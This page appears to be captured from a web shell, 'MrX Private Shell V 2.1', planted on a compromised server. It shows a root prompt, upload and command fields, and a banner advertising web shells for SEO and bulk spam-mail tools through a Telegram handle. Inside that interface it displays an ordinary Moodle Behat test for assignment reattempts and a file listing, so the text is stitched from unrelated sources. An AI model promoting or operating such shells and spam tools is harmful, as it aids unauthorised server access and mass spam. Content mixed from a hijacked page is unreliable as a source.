__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

root@216.73.217.120: ~ $
@mod @mod_assign
Feature: In an assignment, students start a new attempt based on their previous one
  In order to improve my submission
  As a student
  I need to submit my assignment editing an online form, receive feedback, and then improve my submission.

  @javascript
  Scenario: Submit a text online and edit the submission
    Given the following "courses" exist:
      | fullname | shortname | category | groupmode |
      | Course 1 | C1 | 0 | 1 |
    And the following "activity" exists:
      | activity                            | assign                  |
      | course                              | C1                      |
      | name                                | Test assignment name    |
      | intro                               | Submit your online text |
      | assignsubmission_onlinetext_enabled | 1                       |
      | assignsubmission_file_enabled       | 0                       |
      | maxattempts                         | -1                      |
      | attemptreopenmethod                 | manual                  |
      | hidegrader                          | 1                       |
      | submissiondrafts                    | 0                       |
    And the following "users" exist:
      | username  | firstname  | lastname  | email                 |
      | teacher1  | Teacher    | 1         | teacher1@example.com  |
      | student1  | Student    | 1         | student1@example.com  |
    And the following "course enrolments" exist:
      | user      | course  | role            |
      | teacher1  | C1      | editingteacher  |
      | student1  | C1      | student         |
    And the following "mod_assign > submissions" exist:
      | assign                | user      | onlinetext                       |
      | Test assignment name  | student1  | I'm the student first submission |

    And I am on the "Test assignment name" Activity page logged in as teacher1
    And I change window size to "large"
    And I go to "Student 1" "Test assignment name" activity advanced grading page
    And I change window size to "medium"
    And I set the following fields to these values:
      | Allow another attempt | 1 |
    And I press "Save changes"
    And I click on "Edit settings" "link"
    And I log out

    When I am on the "Test assignment name" Activity page logged in as student1
    Then I should not see "Teacher 1"
    And I press "Add a new attempt based on previous submission"
    And I press "Save changes"
    And I log out

    And I am on the "Test assignment name" Activity page logged in as teacher1
    And I change window size to "large"
    And I go to "Student 1" "Test assignment name" activity advanced grading page
    And I change window size to "medium"
    And I should see "I'm the student first submission"

  @javascript @_alert
  Scenario: Allow new attempt does not display incorrect error message on group submission
    Given the following "courses" exist:
      | fullname | shortname | category | groupmode |
      | Course 1 | C1 | 0 | 1 |
    And the following "users" exist:
      | username | firstname | lastname | email |
      | teacher1 | Teacher | 1 | teacher1@example.com |
      | student1 | Student | 1 | student1@example.com |
      | student2 | Student | 2 | student2@example.com |
      | student3 | Student | 3 | student3@example.com |
      | student4 | Student | 4 | student4@example.com |
    And the following "course enrolments" exist:
      | user | course | role |
      | teacher1 | C1 | editingteacher |
      | student1 | C1 | student |
      | student2 | C1 | student |
      | student3 | C1 | student |
      | student4 | C1 | student |
    And the following "groups" exist:
      | name | course | idnumber |
      | Group 1 | C1 | G1 |
      | Group 2 | C1 | G2 |
    And the following "group members" exist:
      | user | group |
      | student1 | G1 |
      | student2 | G1 |
      | student3 | G2 |
      | student4 | G2 |

    And the following "activity" exists:
      | activity                             | assign                |
      | course                               | C1                    |
      | name                                 | Test assignment name  |
      | assignsubmission_onlinetext_enabled  | 1                     |
      | assignsubmission_file_enabled        | 0                     |
      | attemptreopenmethod                  | manual                |
      | submissiondrafts                     | 0                     |
      | groupmode                            | 1                     |
      | teamsubmission                       | 1                     |
      | hidegrader                           | 1                     |
      | maxattempts                          | 3                     |
    And the following "mod_assign > submissions" exist:
      | assign                | user      | onlinetext                        |
      | Test assignment name  | student1  | I'm the student first submission  |

    And I am on the "Test assignment name" Activity page logged in as teacher1
    When I navigate to "Submissions" in current page administration
    Then "Student 1" row "Status" column of "generaltable" table should contain "Submitted for grading"
    And "Student 2" row "Status" column of "generaltable" table should contain "Submitted for grading"
    And "Student 3" row "Status" column of "generaltable" table should contain "No submission"
    And "Student 4" row "Status" column of "generaltable" table should contain "No submission"
    And I click on "Quick grading" "checkbox"
    And I set the field "User grade" to "60.0"
    And I click on "Save" "button" in the "sticky-footer" "region"
    And I should see "The grade changes were saved"
    And I press "Continue"
    And I click on "Student 1" "checkbox"
    And I click on "Grant attempt" "button" in the "sticky-footer" "region"
    And I click on "Grant attempt" "button" in the "Allow another attempt" "dialogue"
    And I should not see "The grades were not saved because someone has modified one or more records more recently than when you loaded the page."
    And I log out
    And I am on the "Test assignment name" Activity page logged in as student3
    And I should see "This is attempt 1 ( 3 attempts allowed )."
    And I press "Add submission"
    And I set the following fields to these values:
      | Online text | I'm the student's 3 group 2 first attempt |
    And I press "Save changes"
    And I log out

    And I am on the "Test assignment name" Activity page logged in as teacher1
    And I navigate to "Submissions" in current page administration
    And "Student 1" row "Status" column of "generaltable" table should contain "Reopened"
    And "Student 2" row "Status" column of "generaltable" table should contain "Reopened"
    And "Student 3" row "Status" column of "generaltable" table should contain "Submitted for grading"
    And "Student 4" row "Status" column of "generaltable" table should contain "Submitted for grading"
    And I click on "Grade actions" "actionmenu" in the "Student 3" "table_row"
    And I choose "Grade" in the open action menu
    And I set the following fields to these values:
      | Allow another attempt | 1 |
    And I press "Save changes"
    And I follow "Assignment: Test assignment name"
    And I log out

    And I am on the "Test assignment name" Activity page logged in as student4
    And I should see "This is attempt 2 ( 3 attempts allowed )."
    And I press "Add a new attempt"
    And I set the following fields to these values:
      | Online text | I'm the student's 4 group 2 second attempt |
    And I press "Save changes"
    And I log out

    And I am on the "Test assignment name" Activity page logged in as teacher1
    And I select "Group 2" from the "group" singleselect
    And I click on "Grade" "link" in the ".tertiary-navigation" "css_element"
    And I should see "2" in the "#id_attemptsettings" "css_element"

Filemanager

Name Type Size Permission Actions
allow_another_attempt.feature File 7.81 KB 0644
assign_activity_completion.feature File 8.61 KB 0644
assign_anonymous_submission.feature File 2.54 KB 0644
assign_comments_no_error.feature File 1.38 KB 0644
assign_course_reset.feature File 5.73 KB 0644
assign_group_override.feature File 13.84 KB 0644
assign_hidden.feature File 1.73 KB 0644
assign_no_calendar_capabilities.feature File 2.14 KB 0644
assign_settings.feature File 6.27 KB 0644
assign_table_preferences.feature File 2.71 KB 0644
assign_user_override.feature File 11 KB 0644
behat_mod_assign.php File 2.64 KB 0644
bulk_release_anon_submissions.feature File 8.21 KB 0644
bulk_remove_submissions.feature File 8.42 KB 0644
comment_inline.feature File 3.11 KB 0644
default_grade_values.feature File 3.9 KB 0644
display_error_message_onbadformat.feature File 2.96 KB 0644
display_grade.feature File 3.31 KB 0644
duplicate_permissions.feature File 2.89 KB 0644
edit_previous_feedback.feature File 3.49 KB 0644
edit_student_submission.feature File 2.11 KB 0644
file_submission.feature File 2.46 KB 0644
filter_by_marker.feature File 8.36 KB 0644
filter_by_marking_workflow.feature File 8.22 KB 0644
filter_drafts.feature File 2.75 KB 0644
filter_suspended_participants.feature File 7.29 KB 0644
grading_app_filters.feature File 4.37 KB 0644
grading_status.feature File 9.11 KB 0644
grant_extension.feature File 8.17 KB 0644
group_submission.feature File 22.27 KB 0644
hide_grader.feature File 4.06 KB 0644
online_submissions.feature File 4.01 KB 0644
outcome_grading.feature File 5.76 KB 0644
page_titles.feature File 1.74 KB 0644
prevent_submission_changes.feature File 5.29 KB 0644
quickgrading.feature File 6.7 KB 0644
relative_dates.feature File 5.51 KB 0644
remove_submission.feature File 8.3 KB 0644
reopen_locked_submission.feature File 3.83 KB 0644
rescale_grades.feature File 4.1 KB 0644
set_availability.feature File 12.88 KB 0644
steps_blind_marking.feature File 5.65 KB 0644
submission_comments.feature File 6.15 KB 0644
submission_notifications.feature File 2.71 KB 0644
submission_statement.feature File 3.56 KB 0644
submissions_user_filter.feature File 15.83 KB 0644
submit_without_group.feature File 13.07 KB 0644
Filemanager